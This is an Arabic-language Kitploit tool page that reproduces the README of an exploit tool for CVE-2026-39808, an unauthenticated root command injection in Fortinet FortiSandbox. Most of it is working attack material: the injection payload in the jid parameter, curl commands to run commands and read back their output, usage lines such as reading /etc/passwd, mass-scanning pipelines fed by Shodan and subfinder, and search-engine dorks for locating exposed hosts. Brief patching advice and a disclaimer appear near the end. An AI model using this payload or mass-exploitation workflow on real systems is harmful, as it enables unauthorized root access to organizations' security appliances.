Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/ynsmroztas/fortisandbox-rce-exploit-cve-2026-39808
الاستطلاعماسحات الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرة
GitHubynsmroztas/fortisandbox-rce-exploit-cve-2026-39808

FortiSandbox-RCE-Exploit-CVE-2026-39808

# ماسح RCE غير مصادق عليه لـ FortiSandbox CVE-2026-39808 مع تحقق قائم على الكناري، وتنفيذ أوامر، وتكامل خط أنابيب للمسح الجماعي.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
268منذ 4 أشهرتمت المراجعة من قبل Kitploit

ماسح ثغرة FortiSandbox RCE — CVE-2026-39808

CVE-2026-39808 FortiSandbox RCE

CVE-2026-39808 CVSS 9.8 Python 3.7+ No dependencies MIT License

حقن أوامر نظام تشغيل غير مصادق عليه بصلاحيات root في Fortinet FortiSandbox

الثغرة • التثبيت • الاستخدام • كيفية العمل • خط الأنابيب • استعلامات Shodan • إخلاء المسؤولية


الثغرة

CVE-2026-39808 هي ثغرة حرجة لحقن أوامر نظام التشغيل غير مصادق عليه في Fortinet FortiSandbox. يفشل نقطة نهاية API الخاصة بـ /fortisandbox/job-detail/tracer-behavior في تعقيم معامل jid، مما يسمح للمهاجم بحقن أوامر نظام تشغيل عشوائية تُنفَّذ بصلاحيات root — دون أي مصادقة.

السبب الجذري

يتم تمرير معامل jid في نقطة نهاية tracer-behavior مباشرة إلى أمر نظام دون تعقيم. باستخدام رموز الأنابيب (|)، يمكن للمهاجم الخروج من سياق الأمر المقصود وتنفيذ أوامر عشوائية:

root@kitploit:~
GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1

يتم كتابة المخرجات إلى /web/ng/out.txt، وهو متاح عبر /ng/out.txt على خادم الويب — مما يوفر آلية قراءة رجعية ملائمة لحقن الأوامر العمياء.


التثبيت

صفر تبعيات. مكتبة Python القياسية 3.7+ فقط.

root@kitploit:~
git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py

الاستخدام

الفحص الأساسي

root@kitploit:~
# التحقق مما إذا كان الهدف معرضًا للثغرة (يستخدم اكتشافًا قائمًا على الكناري)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com

تنفيذ أمر

root@kitploit:~
# تنفيذ أمر محدد على الهدف
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"

التحقق فقط (بدون تنفيذ أوامر)

root@kitploit:~
# التحقق فقط من وجود الثغرة، دون تنفيذ --cmd
python3 fortisandbox_rce.py -u https://target.com --verify-only

مع وكيل Burp

root@kitploit:~
python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080

تقرير JSON

root@kitploit:~
python3 fortisandbox_rce.py -u https://target.com -o report.json

وضع خط الأنابيب (المسح الجماعي)

root@kitploit:~
# من قائمة عناوين URL
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json

# subfinder → httpx → الماسح
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin

# Shodan → الماسح
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
  sed 's/^/https:\/\//' | httpx -silent | \
  python3 fortisandbox_rce.py --stdin --verify-only -o results.json

جميع الخيارات

root@kitploit:~
usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
                           [--proxy PROXY] [--timeout TIMEOUT]
                           [--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]

Options:
  -u, --url URL           عنوان URL الهدف
  --stdin                 قراءة عناوين URL من stdin (وضع خط الأنابيب)
  --cmd CMD               أمر نظام التشغيل للتنفيذ (الافتراضي: id)
  --verify-only           التحقق فقط من الثغرة، دون تنفيذ --cmd
  --proxy PROXY           وكيل HTTP (مثال: http://127.0.0.1:8080)
  --timeout TIMEOUT       مهلة HTTP بالثواني (الافتراضي: 15)
  --rate-limit RATE_LIMIT التأخير بين الأهداف بالمللي ثانية (الافتراضي: 0)
  -o, --output FILE       ملف تقرير JSON للإخراج
  --no-banner             إخفاء الشعار

كيفية العمل

يستخدم الماسح عملية تحقق من 5 خطوات مع منع صارم للإيجابيات الكاذبة:

root@kitploit:~
الخطوة 1  →  اكتشاف FortiSandbox (بصمة العنوان/الترويسة)
الخطوة 2  →  التحقق من وجود نقطة النهاية المعرضة للثغرة
الخطوة 3  →  حقن سلسلة كناري فريدة عبر حقن الأوامر
الخطوة 4  →  قراءة /ng/out.txt والتحقق من الكناري (تحقق صارم من النص العادي)
الخطوة 5  →  تنفيذ أمر المستخدم + التنظيف

منع الإيجابيات الكاذبة

ينفذ الماسح طبقات متعددة من التحقق للقضاء على الإيجابيات الكاذبة:

  • اكتشاف HTML — إذا أعاد عنوان URL للإخراج صفحة HTML (Angular SPA catch-all)، يتم وضع علامة عليها كإيجابية كاذبة
  • التحقق من نوع المحتوى — يجب ألا يكون مخرجات الأمر text/html
  • عزل الكناري — يجب أن يظهر الكناري في نص عادي نظيف، وليس مضمّنًا في وسوم HTML
  • تعبير Regex لمخرجات id — مطابقة نمط صارمة uid=\d+(\w+) مع فحص معقول للحجم (<1000 بايت)
  • تطبيع عنوان URL الأساسي — إزالة لاحقة /ng تلقائيًا لمنع مشاكل المسار المزدوج

مثال على المخرجات

هدف معرض للثغرة

root@kitploit:~
  ╔══════════════════════════════════════════════════════════╗
  ║  FortiSandbox RCE Scanner v1.0  —  CVE-2026-39808      ║
  ║  Unauthenticated Command Injection (root)               ║
  ╚══════════════════════════════════════════════════════════╝
  mitsec | @ynsmroztas

  ┌──────────────────────────────────────────────────────────┐
  │ Target: https://fortisandbox.example.com                 │
  └──────────────────────────────────────────────────────────┘
  ✓ تم اكتشاف FortiSandbox!
  ▸ فحص نقطة النهاية: /fortisandbox/job-detail/tracer-behavior
  ▸ حالة نقطة النهاية: 200 | نوع المحتوى: text/html
  ▸ حقن الكناري: mitsec_a8k3m2x1
  ▸ قراءة المخرجات: https://fortisandbox.example.com/ng/out.txt
   CRITICAL  🔥 VULNERABLE — CVE-2026-39808 CONFIRMED!
   CRITICAL  Target: https://fortisandbox.example.com
  ✓ تم التحقق من الكناري 'mitsec_a8k3m2x1' في المخرجات (نص عادي نظيف)

  ──────────────────────────────────────────────────────────
    Command Output: id
  ──────────────────────────────────────────────────────────
  │ uid=0(root) gid=0(root) groups=0(root)
  ──────────────────────────────────────────────────────────

  ✓ تم تنظيف ملف المخرجات

غير معرض للثغرة

root@kitploit:~
  ┌──────────────────────────────────────────────────────────┐
  │ Target: https://patched.example.com                      │
  └──────────────────────────────────────────────────────────┘
  ✓ تم اكتشاف FortiSandbox!
  ▸ فحص نقطة النهاية: /fortisandbox/job-detail/tracer-behavior
  ✗ أعادت نقطة النهاية 404 — غير معرضة للثغرة أو تم تصحيحها

إيجابية كاذبة تم التعامل معها

root@kitploit:~
  ▸ قراءة المخرجات: https://target.com/ng/out.txt
  ⚠ يعيد عنوان URL للإخراج صفحة HTML — هذه هي Angular SPA، وليست مخرجات أوامر
  ▸ نوع المحتوى: text/html
  ▸ هذه إيجابية كاذبة — /ng/out.txt يخدم ملف index.html الخاص بـ SPA
  ▸ لا يبدو أن الهدف معرض للثغرة

تنسيق تقرير JSON

root@kitploit:~
{
  "scanner": "fortisandbox_rce",
  "version": "1.0",
  "cve": "CVE-2026-39808",
  "scan_date": "2026-04-22T10:30:00+00:00",
  "total_targets": 5,
  "vulnerable": 1,
  "results": [
    {
      "target": "https://fortisandbox.example.com",
      "vulnerable": true,
      "details": {
        "is_fortisandbox": true,
        "server": "Apache",
        "canary": "mitsec_a8k3m2x1",
        "verification": "canary_match",
        "command": "id",
        "output": "uid=0(root) gid=0(root) groups=0(root)"
      },
      "timestamp": "2026-04-22T10:30:00+00:00"
    }
  ]
}

تكامل خط الأنابيب

يُخرج الماسح عناوين URL المعرضة للثغرة إلى stdout (جميع المخرجات الأخرى تذهب إلى stderr)، مما يجعله متوافقًا تمامًا مع خطوط الأنابيب:

root@kitploit:~
# العثور على الأهداف المعرضة وحفظها
subfinder -d corp.com -silent | httpx -silent | \
  python3 fortisandbox_rce.py --stdin --verify-only 2>/dev/null | \
  tee vulnerable_fortisandbox.txt

# الربط مع nuclei لمزيد من الاختبارات
cat vulnerable_fortisandbox.txt | nuclei -t cves/

# مسح جماعي صامت مع تحديد معدل
cat shodan_results.txt | \
  python3 fortisandbox_rce.py --stdin --verify-only --rate-limit 1000 --no-banner -o report.json

استعلامات Shodan

root@kitploit:~
title:"FortiSandbox"
title:"FortiSandbox - Please login"
http.html:"FortiSandbox" port:443
"FortiSandbox" ssl:"Fortinet"
http.favicon.hash:-1222072778

Censys:

root@kitploit:~
services.http.response.html_title:"FortiSandbox"

FOFA:

root@kitploit:~
title="FortiSandbox - Please login"
title="FortiSandbox" && country="TR"

Google Dork:

root@kitploit:~
intitle:"FortiSandbox - Please login"

التحقق اليدوي

إذا كنت تفضل التحقق يدويًا باستخدام curl:

root@kitploit:~
# الخطوة 1: حقن الأمر
curl -s -k --get "https://TARGET/fortisandbox/job-detail/tracer-behavior" \
  --data-urlencode "jid=|(id > /web/ng/out.txt)|"

# الخطوة 2: قراءة المخرجات
curl -s -k "https://TARGET/ng/out.txt"
# المتوقع: uid=0(root) gid=0(root) groups=0(root)

المعالجة

  • قم بترقية FortiSandbox إلى الإصدار 4.4.9 أو أعلى
  • إذا لم يكن التصحيح الفوري ممكنًا:
    • قيّد الوصول إلى الشبكة لواجهة إدارة FortiSandbox
    • استخدم قواعد جدار الحماية لحظر الوصول الخارجي إلى نقاط نهاية /fortisandbox/job-detail/
    • راقب السجلات بحثًا عن قيم معامل jid المشبوهة التي تحتوي على رموز أنابيب

الجدول الزمني

التاريخالحدث
نوفمبر 2025تم اكتشاف الثغرة
أبريل 2026تم نشر CVE-2026-39808
أبريل 2026تم التصحيح في FortiSandbox 4.4.9

المراجع

  • استشارة Fortinet PSIRT — FG-IR-25-325
  • CVE-2026-39808 — NVD

إخلاء المسؤولية

هذه الأداة مقدمة لأغراض اختبار الأمان المصرح به والتعليم فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. احصل دائمًا على إذن كتابي مناسب قبل الاختبار. لا يتحمل المؤلف أي مسؤولية عن سوء استخدام هذه الأداة.


المؤلف

mitsec — @ynsmroztas

  • المحفظة: ynsmroztas.github.io
  • أكثر من 100 قاعة مشاهير | تم الكشف عن أكثر من 2,430 ثغرة | أكثر من 1,100 نتيجة حرجة

إذا ساعدتك هذه الأداة، فكر في منحها ⭐

تنزيل الأداة
التفاصيلالقيمة
معرف CVECVE-2026-39808
درجة CVSS9.8 (حرجة)
متجه الهجومالشبكة
المصادقةلا شيء
الصلاحياتRoot
الإصدارات المتأثرةFortiSandbox < 4.4.9
تم التصحيح في4.4.9 وما فوق
الاستشارةFG-IR-25-325